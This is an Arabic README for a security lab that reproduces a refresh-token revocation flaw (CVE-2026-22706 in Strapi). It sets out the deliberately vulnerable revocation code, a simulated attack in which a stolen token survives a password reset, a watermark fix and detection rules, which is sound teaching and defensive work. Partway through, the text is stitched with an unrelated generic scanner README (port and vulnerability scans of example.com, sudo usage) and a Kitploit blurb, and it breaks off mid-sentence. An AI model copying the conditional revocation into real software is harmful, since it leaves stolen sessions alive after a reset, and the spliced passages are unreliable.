
مختبر كشف استمرارية الإبطال: عندما تنجح إعادة تعيين كلمة المرور لكن المهاجم لا يغادر أبدًا. يعيد إنتاج ثغرة الإبطال الشرطي Strapi CVE-2026-22706، وإصلاحها، وحزمة كشف من ثلاث قواعد، والقاعدة الساذجة التي تفوتها.
عندما تنجح إعادة تعيين كلمة المرور لكن المهاجم لا يرحل أبدًا.
مختبر محلي أحمر/أزرق لفئة ثغرة واحدة: بيانات الاعتماد التي تعيش أطول من الحدث الذي كان من المفترض أن يقتلها. يوفّر الاستغلال، والسبب الجذري، والإصلاح، وحزمة كشف من ثلاث قواعد، وتدقيق حالة لما لا تستطيع القواعد رؤيته بنيويًا، ووحدة تحكم جنائية — وقاعدة الكشف التي لا تعمل، محفوظة في المستودع ليُبرهن على فشلها.
بدء سريع · الاكتشاف · لماذا يفشل الكشف الساذج · حزمة القواعد · وحدة التحكم · الإصلاح · المصفوفة · الاختبارات · التوثيق
الهجوم نفسه. الطلبات نفسها. فرق واحد.
مُولَّد بواسطة scripts/figures.py من الحمولة نفسها التي
ترسمها وحدة التحكم — يُعاد توليده ومقارنته في CI، حتى لا ينحرف الشكل عن الكود.
09:00 alice logs in ┐ refresh credential rt-001 │ the attacker steals rt-001 ┘
10:00 alice changes her password ← the one thing a victim can do alone HTTP 200 · password changed · fresh session issued
10:00:03 attacker: POST /refresh rt-002 → HTTP 200 new access credential at-004, issued 10:00:03
10:01:00 attacker: GET /me at-004 → HTTP 200 {"username": "alice", "authenticated": true}
لا خطأ. لا شذوذ. لا فشل في المصادقة ليُحتسب. بيانات اعتماد وصول المهاجم عمرها *ثلاث ثوانٍ* وقد سكّها الخادم، عند الطلب، بعد إعادة التعيين.
إليك الثغرة الأمنية بأكملها:```python
def _revoke_for_security_change(self, user, kind, device_id):
if device_id:
revoke_credentials(user, device_id=device_id) # ← the finding
اقرأ ذلك بالطريقة التي سيقرؤها بها المراجع. منطق الإبطال موجود هناك تمامًا. يستدعي
الدالة الصحيحة بالنطاق الصحيح. نقطة النهاية المحيطة به تحدّث
تجزئة كلمة المرور، وتعيد 200، وتصدر جلسة جديدة — كل سلوك ملحوظ
لتغيير كلمة مرور صحيح موجود.
وإذا حذف المستدعي device_id، لا يتم إبطال أي شيء، ولا تزال
نقطة النهاية تبلّغ عن النجاح.
هذا ليس افتراضيًا. إنه
CVE-2026-22706
في Strapi ≤ 5.33.2، حيث كانت خطوة إبطال رمز التحديث مشروطة
بـ deviceId المقدَّم من المستدعي. حُصل على تقييم 2.1، منخفض. نوقش
أدناه.
التقييم منخفض لأن المهاجم كان لديه وصول بالفعل — هذا هو شرط الدخول، وهذه الثغرة لا تمنح شيئًا جديدًا. ما تمنحه هو المدة، وهي تفعل ذلك عبر كسر الضابط الوحيد الذي يمكن للضحية تشغيله بنفسه.
test_persistence_lasts_as_long_as_the_refresh_credential يمشي سبعة أيام من
الوقت المحاكى لإظهار ذلك.ثغرة بتقييم منخفض في مسار احتواء تكلّف أكثر من ثغرة بتقييم منخفض في مسار ميزة، لأن التكلفة تُدفع أثناء حادثة، حين لا يقرأ أحد التنبيهات.
القاعدة التي تكتبها أولًا:```text IF credential.issued_at < credential_change.timestamp: ALERT
إنها ليست قاعدة غبية. فهي رخيصة، وتحتاج إلى حقل واحد، وتُقرأ كما لو كانت تعريفًا
للمشكلة، وهي **صحيحة بشأن الحالة البسيطة** — فالمهاجم الذي يستخدم
رمز *وصول* مسروقًا بعد إعادة التعيين يتم اكتشافه.
يؤكد `test_the_naive_rule_catches_the_simple_case` أنها تعمل.
كلا القاعدتين تطرحان السؤال نفسه عن الاعتماد نفسه. لكنهما تقرآن حقلين
مختلفين للإجابة عنه، والحقلان يتناقضان:

**بعد ثلاث ثوانٍ، أم قبل ساعة — الاعتماد نفسه، في اللحظة نفسها.** القاعدة الساذجة تسأل عن حقل يتحكم فيه المهاجم، وطلب `POST /refresh` واحد يعيد ضبطه.
شغّلها على سجل الطلبات، وهو المكان الذي تُكتب فيه هذا الاستعلام فعليًا،
لأن سجلات الطلبات هي ما لديك:```text
NAIVE DETECTOR (NAIVE-001), over the request log
Result: NO ALERT
Six requests were served to the attacker after the reset. Every one of them
carried at-004, minted at 10:00:03 -- three seconds *after* the password
change. By its own timestamp it is the newest credential on the account.
سيكون من السهل التوقف عند هذا الحد، ومن غير الأمانة، لذا يُشغّل المختبر أيضًا النسخة الأكثر إنصافًا من القاعدة الساذجة — موسّعة لمراقبة نقطة نهاية التحديث أيضًا:```text NAIVE DETECTOR, widened to include POST /refresh
1 alert at 2026-09-11T10:00:03.000Z: the credential presented to /refresh was rt-002, issued 2026-09-11T09:30:00.000Z. Then it goes blind. 6 events follow that hop and it flags none of them, because every credential from there on carries a post-reset timestamp. Its incident covers 1 accepted request; the lineage rule's covers all of them.
And look at what the alert names: NAIVE-001 revoke rt-002 -- rotated away and already dead at 10:00:03 AFTERLIFE-001 revoke lin-001 -- the live thing every future credential descends from
هذا هو الفرق الذي يهم في الثالثة صباحًا. تلتقط القاعدة الساذجة اللحظة الواحدة التي تعبر فيها السلسلة الحدود، ثم تفقد الأثر خلال الـ 29 يومًا المتبقية — والبيانات الاعتمادية التي تسميها *قد تم تدويرها بالفعل وإبطالها من قبل الخادم*. إبطالها لا يحقق شيئًا. `lin-001` هو الكائن الذي يجب عليك قتله.
**ولم تكن القاعدة الساذجة محرومة من القياس عن بُعد.** فهي تستخدم نفس تدفق الأحداث، ونفس فهرس النسب، ونفس التسامح، ونفس إزالة التكرار، ونفس الحالة المحدودة. إنها تتجاوز طريقة واحدة:```python
class Correlator: # AFTERLIFE-001
def _age_reference(self, facts):
return facts.root_issued_at
class NaiveCorrelator(Correlator): # NAIVE-001
def _age_reference(self, facts):
return facts.issued_at
root_issued_at موجود بالفعل في الفهرس الذي يستشيره.
test_the_naive_rule_had_the_data_it_needed يثبت ذلك. الفشل في
المقارنة، وليس في التسجيل.
ثلاث قواعد على سجل واحد. تجيب على أسئلة مختلفة، وتُطلق بالنorder الذي تتطور به الحادثة فعلياً.
10:00:00 HIGH AFTERLIFE-003 Incomplete revocation at a security change 10:00:03 HIGH AFTERLIFE-001 Post-revocation credential lineage use
**هذا الترتيب هو أكثر شيء مفيد في هذا المستودع.** يُطلق AFTERLIFE-003
في اللحظة التي يصل فيها التغيير، قبل ثلاث ثوانٍ من لمس المهاجم
لأي شيء، لأن الأدلة التي يحتاجها مكتملة بالفعل: السجل يوضح أي
سلالات كانت نشطة عند الدخول، ولا يذكر أنها أُبطلت.
لا يحتاج إلى ضحية ولا إلى استغلال. سيُبلّغ عن العيب عند أول
إعادة تعيين كلمة مرور يقوم بها أي مستخدم — مما يجعله القاعدة التي تُشغّلها في بيئة
الاختبار، حيث لا يوجد مهاجم تنتظره. AFTERLIFE-001 يخبرك أن اختراقاً
جارٍ؛ AFTERLIFE-003 يخبرك أن ضابط الاحتواء لديك معطوب.

`application recorded watermark: no` هو الحقل الذي يوجّه مستجيب الحوادث
إلى *العيب* بدلاً من العَرَض.
### العلامة المائية التي تستخدمها القواعد ليست تلك التي يُبلّغ عنها التطبيق
يحمل حدث تغيير بيانات الاعتماد حقل `revocation_watermark` — وهو
قيمة `credentials_valid_after` التي كتبها التطبيق. **في التنفيذ
المعطوب تكون `null`، لأن التطبيق لم يكتب واحدة أبداً.** هذا هو
الخطأ.
لذا فإن قاعدة مبنية على ذلك الحقل ستكون عمياء عن بالضبط الحالة التي وُجدت
لالتقاطها. تستند القواعد إلى `timestamp` الخاص بالحدث نفسه، وهو صحيح سواء
أدى التطبيق مهمته أم لا، وتُبلّغ عن الحقل المفقود كدليل.
### الخصائص```text
deduplication 6 accepted requests on the stale lineage -> 1 alert
event order shuffled stream -> same alert (1 alert)
duplicate telemetry log replayed twice -> 1 alert (24 duplicate events discarded)
false positives the fixed implementation's log -> 0 alerts
bounded state caps at 256 activity/user, 2000 users, 20000 credentials
استقلالية الترتيب ليست "تعمل في الغالب":
test_6b_every_permutation_of_the_critical_events_detects يشغّل جميع التباديل الـ 24
للأحداث الأربعة المهمة ويشترط تنبيهًا واحدًا بالضبط من كل منها.
إزالة التكرار مبنية على (user_id, credential_change_event_id, lineage_id)،
مع كبت event_id أمامها حتى لا يستطيع ملف مُعاد تشغيله تضخيم
العدد.
بطاقات القواعد الكاملة، والقياس عن بُعد المطلوب، وأدلة الاستجابة: docs/detection.md.
سطح قراءة للسؤال الواحد الذي يدور حوله المختبر. ليس لوحة معلومات لعدّادات التنبيهات — بل سجل وفيات. شريط واحد لكل بيانات اعتماد، من الإصدار حتى الموت، مجمّعة في النسب الذي تنحدر منه، مع رسم تغيير كلمة المرور كخط كان من المفترض أن ينتهي عنده كل ما سبقه.
انقلاب متعمد واحد: الدفء يعني الحياة، وبعد الخط يكون الدفء خطأً. في معظم واجهات الأمن يعني الأحمر وقوع خطأ. لا شيء يخطئ هنا —
كل طلب في التشغيل القابل للاستغلال يعيد 200. لذا يتبع اللون الوفيات
بدلاً من ذلك: البارد هو بيانات اعتماد ماتت عندما أُمرت بذلك، والدافئ هو ما لا يزال
يتنفس، وبعد المقصلة، أن يظل دافئًا هو الاكتشاف بأكمله.
(وضع BLACKOUT نفس الاصطلاح، حيث كان 200 هو الأحمر.)
القطرات العمودية الرفيعة هي النسب: بيانات اعتماد ابن تُسكّ من
أصلها في تلك اللحظة. rt-001 → rt-002 → rt-004 ينزل ويمينًا
عبر النافذة بأكملها، وفي الوضع القابل للاستغلال يستمر في التدرج بعد
القطع — وهذه هي صورة نسب يسكّ بيانات اعتماد جديدة على الجانب الآخر
من حدث انقراضه الخاص.```bash
python scripts/lab.py console
يكتب **[`docs/console-preview.html`](https://github.com/het-p301204/afterlife/blob/main/docs/console-preview.html)** — ملف
مستقل بحجم 74 KiB مع كلا التشغيلين مضمّنين بداخله. لا خادم، لا شبكة، لا
خطوط لجلبها؛ افتحه من نظام الملفات. أو شغّل النسخة الحية:```bash
python -m console
اسحب شريط التمرير للخلف إلى ما قبل 10:00:00 وللأمام عبره: تظهر النتائج
عندما يستحقها السجل، AFTERLIFE-003 عند التغيير وAFTERLIFE-001 بعد ثلاث
ثوانٍ. يوجد منطق التصميم، بما في ذلك ما تم حذفه، في
docs/console-design.md.
وحدة التحكم للقراءة فقط بحكم التصميم. فهي تعيد تشغيل السيناريوهات المنتهية وترسمها؛ ولا يمكنها تبديل التنفيذ أو تحريك الساعة أو إلغاء أي شيء. يؤكد
test_the_console_has_no_control_surfaceأن المسار الوحيد غير GET هو/api/rebuild. سطح قراءة يمكنه تغيير ما يقرأه هو سطح لا يمكنك الوثوق به.
ست حزم، فئة أمان واحدة، لا بنية تحتية.```text
app/ the lab application
config.py mode selection; defaults to fixed, deliberately
store.py SQLite credential state + the security-change audit trail
tokens.py minting and decoding; a JWT is a signed pointer to a row
auth.py login / refresh / change-password + THE BUG + the audit
main.py six endpoints
common/ clock.py a rewindable UTC clock, so an hour of history costs nothing events.py the event vocabulary, shared by app and detector telemetry.py JSONL emission with credential-name redaction
detector/ strictly downstream: reads a log file, decides nothing base.py the alert shape, replay suppression, bounded state lineage.py rebuilds a credential's ancestry from issuance events ledger.py which lineages are alive, per user rules.py AFTERLIFE-001 persistence reuse.py AFTERLIFE-002 theft containment.py AFTERLIFE-003 the defect itself naive.py NAIVE-001, kept in order to be demonstrated failing audit.py the state scan the rules structurally cannot do engine.py the pack: one shared index, one stream, ranked alerts tail.py byte-offset JSONL tailer
console/ the mortality register payload.py one run, shaped for drawing static/ ~1400 lines of vanilla HTML/CSS/JS, no build step
scripts/ lab.py the demonstration scenarios.py nine scenarios x both implementations report.py the incident report preview.py bake the offline console figures.py render the console to SVG for this README
tests/ 290 tests
يعمل التطبيق **داخل العملية** تحت العرض التوضيحي والطرفية والاختبارات. لا
منافذ، ولا خادم تطوير، ولا Docker. الساعة مثبّتة، لذا فإن كل تشغيل
حتمي والقياسات والطرفية والرسوم والتقارير المُودَعة كلها
متطابقة بايت ببايت بين التشغيلات — وهو ما تتحقق منه CI عبر `git diff --exit-code`.
### الفرض من جانب الخادم
بيانات الاعتماد هي **صف**، وليست سلسلة نصية. الـ JWT الذي يحمله العميل يحمل `cid` —
وهو مفتاح بحث — والصف هو الذي يقرر ما إذا كانت بيانات الاعتماد حيّة.
يُفحص الانتهاء مقابل `expires_at` الخاص بالصف، وليس مقابل ادعاء `exp` الذي
قدّمه الحامل. يُسلَّم كلا الادعاءين الزمنيين إلى PyJWT مع `verify=False`،
وهو ما يعني هنا *"الخادم يتحقق من هذا بنفسه"*، و[`app/auth.py`](https://github.com/het-p301204/afterlife/blob/main/app/auth.py)
يفعل ذلك، في كل طلب. لا يحصل العميل أبدًا على صوت في ما إذا كانت بيانات
اعتماده لا تزال صالحة.
---
## الجدول الزمني للهجوم```mermaid
flowchart TD
A["Account compromised<br/><i>phishing · XSS · stolen backup</i>"] --> B["Attacker holds refresh credential rt-001<br/>lineage lin-001, root sess-001 @ 09:00"]
B --> C["Legitimate password change @ 10:00<br/>HTTP 200 · password hash updated"]
C --> D{"device_id supplied?"}
D -->|"yes"| E["revoke_credentials(user, device_id)<br/>rt-001 revoked"]
D -->|"no — the exploit"| F["nothing revoked<br/>no watermark written"]
E --> G["Attacker refresh → 401<br/><b>contained</b>"]
F --> AF3["<b>AFTERLIFE-003 · HIGH</b> @ 10:00:00<br/>containment did not run<br/><i>no attacker action required</i>"]
F --> H["POST /refresh rt-002 → 200<br/>mints at-004 @ 10:00:03"]
H --> I["GET /me at-004 → 200<br/>well-formed · correctly signed · <b>no anomaly</b>"]
I --> J["at-004.issued_at > watermark<br/>NAIVE-001: no alert"]
I --> K["lineage lin-001 root @ 09:00 < watermark<br/><b>AFTERLIFE-001 · HIGH</b>"]
F --> L["attacker holds and never spends<br/>AFTERLIFE-001 silent — correctly<br/><b>state audit: dormant survivor</b>"]
style F fill:#7f1d1d,color:#fff
style H fill:#7f1d1d,color:#fff
style I fill:#7f1d1d,color:#fff
style J fill:#78350f,color:#fff
style K fill:#14532d,color:#fff
style AF3 fill:#14532d,color:#fff
style L fill:#1e3a5f,color:#fff
style E fill:#14532d,color:#fff
style G fill:#14532d,color:#fff
فرع سلسلة التحديث في المنتصف هو بيت القصيد. لا يستخدم المهاجم بيانات اعتماد قديمة. بل يستخدم سلالة قديمة، والسلالة تُصدر شيئًا جديدًا عند الطلب.
الجلسة هي الجذر لسلالة ما. كل ما يُصدر تحتها يرث ذلك الجذر، إلى الأبد.```text sess-001 session lineage lin-001 root sess-001 issued 09:00:00 │ ├── rt-001 refresh parent sess-001 root_issued_at 09:00:00 │ └── at-001 access parent rt-001 root_issued_at 09:00:00 │ ├── rt-002 refresh parent rt-001 root_issued_at 09:00:00 ← 09:30 rotation │ └── at-002 access parent rt-002 root_issued_at 09:00:00 │ └── rt-004 refresh parent rt-002 root_issued_at 09:00:00 ← 10:00:03 rotation └── at-004 access parent rt-004 root_issued_at 09:00:00 issued_at 10:00:03
`at-004` عمره ثلاث ثوانٍ. نسبه عمره ساعة. كلتا الحقيقتين صحيحتان،
وواحدة فقط منهما مرئية في سجل الطلبات.
ثابتان يمسكان هذا معًا، وكلاهما مُختبَر:
1. **المصادقة وحدها تُنشئ سلالة.** `Store.open_session` هو المكان الوحيد
الذي يُولَّد فيه `lineage_id`، وهو يجعل الجلسة
`root_credential_id` الخاصة بها.
2. **السك ينسخ الجذر إلى الأسفل.** يقرأ `TokenService.mint` حقول السلالة
من الأصل بدلًا من إعادة حسابها، لذا لا يمكن لبيان اعتماد أن يكتسب
نسبًا أحدث من تسجيل الدخول الذي ينحدر منه.
الرمز الذي يقدمه حامله **لا** يحمل عمدًا جذر سلالته. لو فعل،
لأمكن للحامل أن يكذب بشأنه.
---
## تدقيق الحالة
يُطلق AFTERLIFE-001 عندما تُستخدم سلالة قديمة. هذا هو المُحفِّز الصحيح
لقاعدة كشف، وهو يترك ثغرة: **سلالة قديمة لم يمسّها أحد غير مرئية له.**
مهاجم يسرق بيان اعتماد، ويراقب فشل إعادة التعيين، ثم ينتظر، لا يُنتج
أي نشاط لربطه.
لذا يطرح المختبر أيضًا السؤال الذي لا تستطيع قاعدة طرحه: ليس *ما الذي حدث*،
بل *ما الذي لا يزال حيًّا*.```text
scenario: dormant-survivor (the attacker holds the credential and never spends it)
AFTERLIFE-001 silent — correct; nothing was accepted
AFTERLIFE-003 HIGH — the change revoked nothing
state audit 1 stale lineage, 1 dormant
# استنساخ المستودع
git clone https://github.com/example/security-tool.git
cd security-tool
# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate # على Windows: venv\Scripts\activate
# تثبيت التبعيات
pip install -r requirements.txt
# تثبيت الأداة
pip install -e .
pip install security-tool
# سحب الصورة
docker pull example/security-tool:latest
# تشغيل الحاوية
docker run -it --rm example/security-tool --help
security-tool --version
يجب أن ترى رقم الإصدار مطبوعًا على الشاشة، مما يؤكد نجاح التثبيت.
# عرض قائمة المساعدة
security-tool --help
# تشغيل فحص أساسي
security-tool scan --target example.com
# تشغيل فحص مع خيارات متقدمة
security-tool scan --target example.com --depth 3 --output results.json
security-tool scan --target https://example.com
security-tool scan --targets targets.txt --threads 10
security-tool scan --target example.com --format json --output report.json
security-tool scan --config config.yaml
يمكن تكوين الأداة باستخدام ملف YAML:
# config.yaml
target: example.com
depth: 3
threads: 10
timeout: 30
output:
format: json
path: results.json
modules:
- port_scan
- vuln_scan
- web_scan
تقوم وحدة فحص المنافذ بفحص المنافذ المفتوحة على الهدف:
security-tool scan --target example.com --module port_scan
تكتشف وحدة فحص الثغرات الثغرات الأمنية المعروفة:
security-tool scan --target example.com --module vuln_scan
تفحص وحدة فحص الويب تطبيقات الويب بحثًا عن الثغرات:
security-tool scan --target https://example.com --module web_scan
{
"target": "example.com",
"scan_date": "2024-01-15T10:30:00Z",
"findings": [
{
"type": "open_port",
"port": 80,
"service": "http",
"severity": "info"
}
]
}
يمكن إنشاء تقارير HTML قابلة للعرض:
security-tool scan --target example.com --format html --output report.html
إذا واجهت خطأ في الاتصال، تحقق من إعدادات الشبكة والجدار الناري:
# اختبار الاتصال
curl -I https://example.com
قد تتطلب بعض الفحوصات صلاحيات الجذر:
sudo security-tool scan --target example.com
إذا واجهت خطأ في التبعيات، أعد تثبيتها:
pip install --upgrade -r requirements.txt
نرحب بالمساهمات! يرجى اتباع الخطوات التالية:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
هذه الأداة مخصصة لأغراض الاختبار الأمني المصرح به فقط. يجب عليك الحصول على إذن كتابي صريح قبل فحص أي نظام لا تملكه. المؤلفون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن استخدام هذه الأداة.```bash python scripts/lab.py audit
## ما هو Kitploit؟
[Kitploit](https://www.kitploit.com/) هو دليل مخصص لأدوات الأمن السيبراني مفتوحة المصدر، حيث يقدم مجموعة منتقاة من أدوات الاختراق الأخلاقي، وتحليل الثغرات الأمنية، والاستجابة للحوادث، والاختبار الاختراقي.```text
VULNERABLE
server state 1 lineage(s) outlived the change (0 dormant)
telemetry 1 lineage(s) -- the same question, asked of the log instead of the database
lin-001 root 2026-09-11T09:00:00.000Z 7 credentials in use
FIXED
server state clean
telemetry clean
مصدران، عن قصد: تدقيق القياس عن بُعد يرى ما يمكن للسجل إثباته، وتدقيق حالة الخادم يرى ما تعتقده قاعدة البيانات. حيث يختلفان، فإن السجل ليس سجلاً أميناً لحالة بيانات الاعتماد، وكل كشف مبني عليه أضعف مما يبدو — لذا تطبع الأداة كليهما وتقول ذلك إذا اختلفا.
يحتاج تدقيق حالة الخادم إلى جدول security_changes، الذي يكتبه كلا الوضعين،
لأن تسجيل حدوث تغيير هو التزام منفصل عن
التصرف بناءً عليه — والتنفيذ المعرّض للثغرة يفي بواحد فقط من الاثنين.
تسعة سيناريوهات مقابل كلا التنفيذين. يؤكد python scripts/scenarios.py
ثابتَيه الخاصين ويخرج بقيمة غير صفرية إذا انكسر أي منهما.
أربعة صفوف تحمل حجة:
legitimate-only لا يوجد فيه مهاجم على الإطلاق. الإصلاح لا ينتج شيئاً؛
بينما ينتج التنفيذ المعرّض للثغرة نتيجة LOW. هذا ليس إيجابية كاذبة — إنه
enumeration_only: الإبطال نجح هذه المرة، عبر التعداد، دون
علامة مائية لتغطية بيانات اعتماد نسيها الخادم. تفصل الحزمة
بين التنفيذين دون وجود مهاجم.dormant-survivor هو النقطة العمياء وإجابتها في صف واحد:
AFTERLIFE-001 صامت، AFTERLIFE-003 بدرجة HIGH، التدقيق dormant: 1.multi-device هو حيث يفشل الفرع العامل في التنفيذ المعرّض للثغرة
رغم ذلك — الإبطال محصور على الحاسوب المحمول، وجهازان آخران لم يُمسّا.expired-lineage هو ضابط الإيجابية الكاذبة: جلسة عمرها 40 يوماً
انتهت صلاحية بيانات اعتمادها من تلقاء نفسها ليست مسار استمرارية ناجٍ،
ولا يُبلَّغ عنها كذلك.والادعاء المحوري للمصفوفة، الذي يتحقق منه السكربت و
test_the_fix_never_produces_a_control_failure_finding: الإصلاح لا يُنتج
أي نتيجة فشل ضابط في أي سيناريو. يُسمح لـ AFTERLIFE-002 بالمرور — فهو
يبلّغ عن سرقة، لا عن فشل ضابط، والتنفيذ الصحيح لا يزال لديه
سرقات يبلّغ عنها.
قاعدة تُنبّه عند كل إعادة تعيين لكلمة مرور ستُكتَم خلال أسبوع، والقاعدة المكتومة أسوأ من عدم وجود قاعدة — إنها قاعدة يعتقد الجميع أنها تعمل.
كل صف له اختبار في
tests/test_detector_afterlife001.py و
tests/test_detector_rulepack.py.
بخصوص تفاوت الثانيةين. كل طابع زمني في هذا المختبر يأتي من عملية
واحدة وساعة واحدة، لذا فالتفاوت الأمين هو صفر. الثانيةان هما ما يحتاجه
نشر واقعي على مضيفين اثنين تحت NTP، وهما أصغر بثلاث مراتب
من الفجوات التي ينتجها هذا الهجوم — فالغرض الكامل من بيانات اعتماد التحديث
هو أن تكون طويلة العمر. التفاوت هو نافذة تُتجاهَل فيها سلالة خاملة
بحق، لذا يُبقى صغيراً عن قصد:
test_12b_a_gap_beyond_the_tolerance_does_alert يثبّت أن 2.1 ثانية لا تزال تُفعِّل التنبيه.
self.store.set_watermark(user.user_id, moment) # the guarantee revoked = self.store.revoke_credentials(user.user_id, ...) # defence in depth
لا يعتمد أي منهما على `device_id`. يتم تسجيله كسياق وليس له أي تأثير في
نطاق التأثير.
**العلامة المائية هي الضمان المعماري.** طابع زمني واحد لكل مستخدم،
`credentials_valid_after`، يُقارَن في كل طلب مع كل من إصدار
بيانات الاعتماد نفسها *وجذر* سلالتها:```python
watermark = user.credentials_valid_after
if credential.issued_at < watermark: reject # the obvious case
if credential.root_issued_at < watermark: reject # the refresh chain
المقارنة الثانية هي التي يتطلب الحصول عليها بشكل صحيح تكلفة، وهي التي يغفلها التنفيذ الساذج — في التنفيذ تمامًا كما في الاكتشاف.
الإبطال الصريح هو دفاع في العمق، ودليل. revoked_at وrevocation_reason هما ما يقرأه المستجيب للحوادث، وأحداث auth.token.revoked هي ما يثبت حدوث الاحتواء.
test_the_watermark_alone_rejects_a_stale_credential يضبط العلامة المائية دون إبطال أي شيء ويشترط رفض بيانات الاعتماد القديمة — مما يحدد أيهما هو الأساسي، وأي منهما هو الخاصية التي لا تزال صامدة لبيانات الاعتماد التي نسي الخادم أنه أصدرها.
لم يتغير طلب واحد. تغيّرت دالة واحدة.
المُحفِّز ليس "تغيّرت كلمة المرور". بل هو "تغيّر شيء يجعل بيانات الاعتماد الصادرة سابقًا غير موثوقة". جميع المسارات الأربعة تشترك في _revoke_for_security_change، لذا ينطبق الإصلاح والخطأ بشكل متطابق على:
مُختبر لكل نوع، في كلا الوضعين، في
tests/test_privilege_changes.py — بما في ذلك
عدم اشتراط تسجيل الدخول، موثقًا حتى لا "يُصلحه" القارئ التالي.
أربع طرق لجعل بيانات الاعتماد تتوقف عن العمل. AFTERLIFE ينفذ A + C، والترتيب مهم.
بخصوص D: رموز JWT ليست غير آمنة بطبيعتها. التوتر أضيق ويستحق ذكره
بدقة — التحقق عديم الحالة والإبطال الفوري من جانب الخادم متنافيان. لا يمكنك أن تقرر "بيانات الاعتماد هذه لم تعد صالحة"
دون الرجوع إلى شيء يعرف ذلك، والرجوع إليه هو ما يجعل النظام
ذا حالة. الخطأ هو تبنّي رموز JWT من أجل كونها عديمة الحالة ثم
الاحتياج إلى الإبطال على أي حال، وهو ما يفعله كل منتج في المرة الأولى التي يُسرق فيها حاسوب محمول. ما ينتهي بك إليه الأمر هو مؤشر موقّع إلى حالة من جانب الخادم — وهو ما
ينفذه app/tokens.py عن قصد، لأن الوصول إلى هناك
عن قصد أرخص من الوصول إلى هناك في منتصف حادثة.
CVE-2026-22706 يسجل 2.1، منخفض (CVSS v4.0
AV:N/AC:H/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)، والدرجة
قابلة للدفاع: PR:H لأن المهاجم يجب أن يمتلك بالفعل بيانات اعتماد تحديث صالحة، AC:H لأن الحصول على واحدة يتطلب اختراقًا مسبقًا، وVC:N/VI:L لأن العيب لا يمنح أي وصول لم يكن لدى المهاجم بالفعل.
CVSS يقيس التأثير الهامشي للثغرة، والتأثير الهامشي
هو مدة الوصول، وليس نطاقه. بالنظر إلى تلك المدخلات، 2.1
ينتج من الصيغة بشكل صحيح.
ما لا يصممه CVSS هو أن الضابط الفاشل هو إجراء الاحتواء — لذا فإن الاستنتاج المفيد يتعلق بتوجيه الفرز، وليس بالرقم. درجة منخفضة في مسار احتواء تستحق اهتمامًا لا تستحقه درجة منخفضة في مسار ميزة، لأن التكلفة تُدفع أثناء حادثة. المناقشة الكاملة: docs/tradeoffs.md.
290 passed
| الملف | ما الذي يثبّته |
|---|---|
| [`test_fixed_mode.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_fixed_mode.py) | **مجموعة اختبارات الانحدار التي يجب ألا تفشل أبدًا** — لا يُقبل أي بيانات اعتماد صادرة قبل حدث إبطال بعد حدوثه، بما في ذلك بيانات اعتماد منحدرة من سلالة قديمة |
| [`test_vulnerable_mode.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_vulnerable_mode.py) | الثغرة **موجودة**، وهي حتمية، وتدوم 30 يومًا، وتسببها الجملة الشرطية — مع إثبات عنصر التحكم `device_id` أن مسار الإبطال اختياري وليس ميتًا |
| [`test_lineage.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_lineage.py) | سلسلة التحديث تحتفظ بسلالة واحدة وجذر واحد؛ تسجيل الدخول وحده ينشئ سلالة |
| [`test_detector_afterlife001.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_detector_afterlife001.py) | 7 حالات كشف، و9 حالات إيجابية كاذبة، ونقطتان عمياء، وجميع ترتيبات الأحداث الـ24، وحالة محدودة، ومدخلات مشوّهة |
| [`test_detector_rulepack.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_detector_rulepack.py) | AFTERLIFE-002 وAFTERLIFE-003 — كل حكم، ونافذة السماح، والتدوير ليس موتًا، واستبعاد الانتهاء، وترتيب المحرك |
| [`test_naive_detector.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_naive_detector.py) | يظل NAIVE-001 يفشل **بالطريقة المحددة التي يدّعيها هذا الملف** — بما في ذلك أنه كانت لديه البيانات التي يحتاجها |
| [`test_audit_and_console.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_audit_and_console.py) | الناجي الخامل الذي لا تستطيع أي قاعدة رؤيته؛ اتفاق مصدري التدقيق؛ عدم احتساب الطرفية لأي حكم من تلقاء نفسها؛ عدم جلب المعاينة دون اتصال أي شيء؛ بقاء كل رقم في هذا الملف ضمن الحدود، وخالٍ من أوراق الأنماط، وثابت بايتيًا |
| [`test_scenarios.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_scenarios.py) | صفوف المصفوفة التي تحمل حجة |
| [`test_privilege_changes.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_privilege_changes.py) | MFA، وتغيير الدور، واستعادة الحساب، في كلا الوضعين |
| [`test_telemetry.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_telemetry.py) | عقد التنقيح، وبحث في السجل عن سلاسل الحامل الحرفية الصادرة |
| [`test_app.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_app.py) | التوقيعات المزوّرة، وأنواع بيانات الاعتماد الخاطئة، والانتهاء من حالة الخادم |
| [`test_infrastructure.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_infrastructure.py) | الإعداد، والساعة، والأسطر الجزئية لبرنامج التتبع، وكلا واجهتي الأوامر، وكل أمر عرض توضيحي |
أقوى اختبار في المجموعة هو
`test_no_bearer_string_or_password_ever_reaches_the_log`: يشغّل الهجوم بأكمله
ثم يبحث في ملف السجل عن بيانات الاعتماد الفعلية التي سلّمها التطبيق،
إضافة إلى كلمتي المرور، ومفتاح التوقيع. ليس بحثًا عن أسماء الحقول — بل عن
القيم.
---
## النقاط العمياء
تُذكر بوضوح، لأن إخفاءها سيجعل المختبر غير أمين. لكل منها اختبار.
> **إذا لم يصدر التطبيق أحداث تغيير بيانات الاعتماد، فلا يمكن للحزمة أن
> تربط نشاط ما بعد إعادة التعيين بشكل موثوق.** لا يوجد مرساة، فلا يوجد شيء
> يكون النشاط "بعده" — وهذا يُسكِت AFTERLIFE-003 أولًا، وهي القاعدة التي
> كانت ستخبرك أن عنصر التحكم معطّل.
>
> **إذا لم يحتفظ التطبيق ببيانات الإصدار/السلالة الوصفية، فلا يمكن للكاشف
